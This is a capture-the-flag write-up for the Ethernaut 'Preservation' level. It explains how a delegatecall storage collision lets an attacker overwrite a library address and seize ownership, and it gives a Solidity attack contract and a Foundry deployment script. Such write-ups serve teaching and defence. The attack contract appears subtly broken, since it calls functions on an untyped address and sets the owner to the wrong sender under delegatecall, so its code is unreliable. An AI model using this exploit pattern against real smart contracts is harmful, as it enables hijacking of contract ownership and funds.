# The Ethernaut CTF Solutions | 16 - Preservation

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/16-preservation-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/16-preservation-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(
        address _timeZone1LibraryAddress,
        address _timeZone2LibraryAddress
    ) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint _timeStamp) public {
        timeZone1Library.delegatecall(
            abi.encodePacked(setTimeSignature, _timeStamp)
        );
    }

    // set the time for timezone 2
    function setSecondTime(uint _timeStamp) public {
        timeZone2Library.delegatecall(
            abi.encodePacked(setTimeSignature, _timeStamp)
        );
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint storedTime;

    function setTime(uint _time) public {
        storedTime = _time;
    }
}
```

## The hack

Here, we have to become the new contract owner. Ensure you completed the level [6 - Delegation](https://blog.pedrojok.com/the-ethernaut-ctf-solutions-06-delegation) before this one, so you understand how `delegatecall` works.

After a quick first look, we can see that no function allows us to override the owner variable directly. However, we know that a `delegatecall` executes the code of the called contract (`LibraryContract`), but with the storage of the calling contract (`Preservation`). And since their storage doesn't match, we will be able to override some data and take ownership eventually. But, how?

Let's say we call the `setFirstTime` function with a uint, it will call the `setTime` function of the `LibraryContract` with the same uint via the `delegatecall`. The `setTime` function will set the `storedTime` variable to the uint at storage slot 0. But since the `delegatecall` is using the `Preservation` contract storage, it will override the `timeZone1Library` variable instead.

Let's visualize this in a table to make it clearer:

| Storage slot | Preservation | LibraryContract | Malicious Contract |
| --- | --- | --- | --- |
| 0 | timeZone1Library | storedTime | timeZone1Library |
| 1 | timeZone2Library |  | timeZone2Library |
| 2 | owner |  | owner |
| 3 | storedTime |  | storedTime |

Storage collision happening at slot 0. A simple unit test would have easily revealed this!

Since we can override the `timeZone1Library` variable, we could override it with a malicious contract address containing our own version of the `setTime` function. So we can call the `setFirstTime` once with our malicious contract address to override the library address, then once more to delegate the call to our malicious contract and override the `owner` variable to our address.

## Solution

Here is our malicious contract with a custom `setTime()` function, and... a storage identical to the `Preservation` contract to avoid any collision.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Disappearance {
    address public timeZone1Library;
    address public preservation;
    address public owner;

    constructor(address _preservation) {
        preservation = _preservation;
    }

    function attack() public {
        preservation.setFirstTime(uint256(uint160(address(this))));
        preservation.setFirstTime(uint256(uint160(msg.sender)));
        require(preservation.owner() == msg.sender, "Hack failed!");
    }

    function setTime(uint _time) public {
        owner = msg.sender;
    }
}
```

Next, let's prepare our deployment script:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Disappearance} from "../src/16_Preservation.sol";

interface IPreservation {
    function owner() external view returns (address);
}

contract PoC is Script {
    // Replace with your Preservation instance
    address private immutable preservation =
        0x8588D155A211844d8dA27b09EAf89C657Cd3c496; 

    function run() external payable {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        console2.log("Current owner: ", IPreservation(preservation).owner());

        Disappearance disappearance = new Disappearance(preservation);
        disappearance.attack();

        console2.log("New owner: ", IPreservation(preservation).owner());

        vm.stopBroadcast();
    }
}
```

Then run the script with the following command:

```bash
forge script script/16_Preservation.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

🎉 Level completed 🎉

## Takeaway

* Libraries should be stateless & use the `library` keyword.
    
* Avoid using `delegatecall` with user inputs. Or simply avoid using `delegatecall` at all.
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
